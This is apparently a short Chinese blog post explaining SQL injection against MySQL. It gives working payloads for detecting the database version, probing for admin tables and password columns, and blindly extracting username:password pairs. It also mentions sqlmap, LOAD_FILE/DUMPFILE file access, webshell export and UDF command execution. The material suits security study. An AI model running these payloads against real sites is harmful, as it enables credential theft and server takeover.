数据库攻击技巧

SQL注入可以猜解出数据库的对应版本,比如下面这段Payload,如果MySQL的版本是4,则会返回true。

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

下面这段Payload,则是利用union select来分别确认表名admin是否存在,列名passwd是否存在:

id=5 union all select 1,2,3 from admin

id=5 union all select 1,2,passwd from admin

进一步,想要猜解出username和password具体的值,可以通过判断字符的范围,一步步读出来。

id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>64

这个过程非常的繁琐,所以非常有必要使用一个自动化工具来帮助完成整个过程。

sqlmap.py就是一个非常好的自动化注入工具。

在注入攻击的过程中,常常会用到一些读写文件的技巧。比如在MySQL中,就可以通过LOAD_FILE()读取系统文件,并通过INTO  DUMPFILE写入本地文件。当然这要求当前数据库用户有读写系统相应文件或目录的权限。

在MySQL中,除了可以通过导出webshell间接地执行命令外,还可以利用“用户自定义函数”的技巧,即UDF(user-defined functions)来执行命令。

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值